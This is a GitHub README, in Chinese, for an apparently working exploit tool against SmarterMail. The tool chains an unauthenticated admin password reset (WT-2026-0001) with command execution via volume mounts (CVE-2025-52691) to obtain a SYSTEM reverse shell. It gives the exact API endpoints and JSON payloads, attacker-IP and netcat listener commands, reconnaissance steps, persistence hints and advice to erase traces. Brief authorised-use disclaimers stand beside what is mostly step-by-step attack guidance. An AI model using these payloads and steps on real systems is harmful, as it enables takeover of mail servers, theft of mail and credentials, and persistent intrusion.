ninjazan420/CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001

GitHub: ninjazan420/CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001

针对 SmarterMail 的 Python 漏洞利用脚本,组合认证绕过与远程代码执行漏洞实现一键获取 SYSTEM 权限。

Stars: 2 | Forks: 0

# CVE-2025-52691 / WT-2026-0001 SmarterMail 漏洞利用工具 ## 🚨 重要声明 **本工具仅用于授权的安全测试和教育目的!** - **未经授权的使用是非法且不道德的** - **仅在获得明确授权的系统上使用** - **使用风险自负** - **用户需自行遵守所有适用法律** ## 📋 概述 该漏洞利用工具结合了 SmarterMail 中的两个严重漏洞: 1. **CVE-2025-52691**: 通过文件上传实现预认证远程代码执行 (Pre-Auth Remote Code Execution) - CVSS 评分:10.0 (严重) - 受影响版本:Build 9406 及更早版本,Build 16.3.6989.16341 及更早版本 - 修复版本:Build 9413 及更高版本 https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691 2. **WT-2026-0001**: 通过密码重置绕过认证 - 尚未分配 CVE-ID - 受影响版本:Build 9510 及之前版本 - 修复版本:Build 9511 (2026年1月15日) https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/ ### 攻击向量 该漏洞利用执行三阶段攻击: 1. **阶段 1**: 通过 WT-2026-0001 绕过认证 - 无需验证旧密码即可更改 admin 密码 2. **阶段 2**: 使用新密码进行管理员登录 - 认证到 SmarterMail Web 界面 3. **阶段 3**: 通过卷挂载 (Volume Mounts) 功能实现 RCE - 创建包含反向 Shell 命令的卷挂载 - 以 SYSTEM 权限执行操作系统命令 ## 前置条件 ### 系统要求 - **Python 3.6+** - **Netcat (nc)** - **curl** - **Linux/macOS/Windows (WSL)** ### 安装说明 ``` # 安装 Python 3(如果尚未安装) # Ubuntu/Debian sudo apt update && sudo apt install python3 python3-pip # macOS brew install python3 # Windows (WSL) wsl --install # 安装 netcat # Ubuntu/Debian sudo apt install netcat # macOS brew install netcat # Windows (WSL) sudo apt install netcat-traditional ``` ### 安装依赖 ``` # Python 依赖(如果需要) pip3 install requests ``` ## 快速开始 ### 方法 1:自动设置(推荐) ``` # 设为可执行文件 chmod +x run_exploit.sh # 自动设置 ./run_exploit.sh --auto # 或交互式设置 ./run_exploit.sh ``` ### 方法 2:直接执行 ``` # 设置监听器(在一个终端中) nc -lvnp 4444 # 运行 exploit(在另一个终端中) python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 ``` ### 方法 3:带所有选项 ``` python3 exploit.py \ -H http://192.168.1.100 \ -P 9998 \ -A 192.168.1.50 \ -p 4444 \ -d \ --admin-username admin \ --new-password "MySecurePassword123!" ``` ## 详细说明 ### 步骤 1:准备 1. **目标识别** # 检查目标主机 curl -I http://192.168.1.100:9998 # 识别 SmarterMail 版本 # (通常在登录页面或 HTTP 头中) 2. **监听器设置** # 在终端 1 中:启动监听器 nc -lvnp 4444 # 监听器必须在执行漏洞利用之前运行 3. **网络验证** # 确保攻击者与目标之间的连接可行 ping 192.168.1.100 nc -zv 192.168.1.100 9998 ### 步骤 2:执行漏洞利用 ``` # 使用 runner 脚本(推荐) ./run_exploit.sh # 或直接使用 Python python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 ``` ### 步骤 3:利用后操作 1. **Shell 连接** # 在监听器终端中,现在应该会出现一个连接 # 你应该拥有一个 SYSTEM shell 2. **验证访问权限** # 在获取的 shell 中 whoami hostname ipconfig /all # Windows ifconfig # Linux 3. **持久化访问** # 可选:设置持久化 # Windows: 安装为服务 # Linux: Cron 任务或 systemd 服务 ## 🔧 配置选项 ### Exploit.py 参数 | 参数 | 描述 | 默认值 | |-----------|-------------|---------------| | `-H, --host` | 目标主机(必填) | - | | `-P, --port` | 目标端口 | 9998 | | `-A, --attacker-ip` | 用于反向 Shell 的攻击者 IP(必填) | - | | `-p, --attacker-port` | 用于反向 Shell 的攻击者端口(必填) | - | | `-d, --debug` | 启用调试模式 | False | | `--admin-username` | 管理员用户名 | admin | | `--new-password` | 新的管理员密码 | NewPassword123!@# | ### Run_Exploit.sh 参数 | 参数 | 描述 | |-----------|-------------| | `-t, --target` | 目标主机 | | `-p, --port` | 目标端口 | | `-a, --attacker-ip` | 攻击者 IP | | `-l, --listener-port` | 监听器端口 | | `-n, --new-password` | 新的管理员密码 | | `-u, --admin-user` | 管理员用户名 | | `-d, --debug` | 调试模式 | | `--auto` | 自动化模式 | ## 示例 ### 示例 1:基本用法 ``` # 终端 1:启动监听器 nc -lvnp 4444 # 终端 2:运行 exploit python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 ``` ### 示例 2:使用自定义凭据 ``` python3 exploit.py \ -H https://mail.company.com \ -P 443 \ -A 10.0.0.1 \ -p 8080 \ --admin-username administrator \ --new-password "ComplexPassword123!@#" ``` ### 示例 3:调试模式 ``` python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d ``` ### 示例 4:自动设置 ``` ./run_exploit.sh --auto ``` ## 技术细节 ### 阶段 1:认证绕过 **端点**: `POST /api/v1/auth/force-reset-password` **Payload**: ``` { "IsSysAdmin": "true", "OldPassword": "dummy", "Username": "admin", "NewPassword": "NewPassword123!@#", "ConfirmPassword": "NewPassword123!@#" } ``` **成功响应**: ``` { "success": true, "resultCode": 200, "debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n" } ``` ### 阶段 2:管理员登录 **端点**: `POST /api/v1/auth/login` **Payload**: ``` { "username": "admin", "password": "NewPassword123!@#" } ``` ### 阶段 3:通过卷挂载实现 RCE **端点**: `POST /api/v1/settings/volume-mounts` **Payload**: ``` { "name": "random_volume_name", "path": "C:\\Temp\\random_volume_name", "command": "powershell reverse shell command", "enabled": true, "type": "command" } ``` ## 故障排除 ### 常见问题 #### 1. 端口被阻止 ``` # 错误:"Connection refused" # 解决方法:检查防火墙并开放端口 sudo ufw allow 9998 ``` #### 2. 监听器无法访问 ``` # 错误:"Connection failed" # 解决方法:检查监听器设置 nc -lvnp 4444 ``` #### 3. 认证失败 ``` # 错误:"Login failed" # 解决方法:检查目标版本(必须存在漏洞) ``` #### 5. RCE 失败 ``` # 错误:"Volume mount creation failed" # 解决方法:检查管理员权限、目标系统 ``` ### 调试模式 启用调试模式以获取详细输出: ``` python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d ``` ## ⚠️ 安全说明 ### 法律方面 - **仅执行授权的测试** - **获取书面许可** - **确保遵守当地法律** - **不在生产系统上测试** ### 安全预防措施 1. **测试环境**:始终在受控环境中测试 2. **目标验证**:确保目标是测试系统 3. **网络隔离**:将测试系统与生产网络分开 4. **文档记录**:记录所有测试 5. **清理**:测试后清除所有痕迹 ### 负责任地使用 - **不要造成损害** - **不要窃取或篡改数据** - **不要禁用系统** - **对责任方保持透明** ## 更新与维护 ### 版本说明 - **v1.0**: 具备完整功能的初始版本 - **未来更新**: 改进错误处理和稳定性 ## 🙏 致谢 - **watchTowr Labs** 的原创研究 - **安全研究社区** 的支持 - **所有对改进做出贡献的人** **⚠️ 切记:能力越强,责任越大!**
标签:CISA项目, CVE-2025-52691, CVSS 10.0, PoC, Python, RCE, SmarterMail, Web安全, WT-2026-0001, 企业邮箱, 协议分析, 反弹Shell, 子域名枚举, 密码重置漏洞, 应用安全, 攻击脚本, 文件上传漏洞, 无后门, 暴力破解, 权限提升, 系统安全, 编程工具, 网络安全, 网络安全审计, 蓝队分析, 认证绕过, 远程代码执行, 隐私保护, 高危漏洞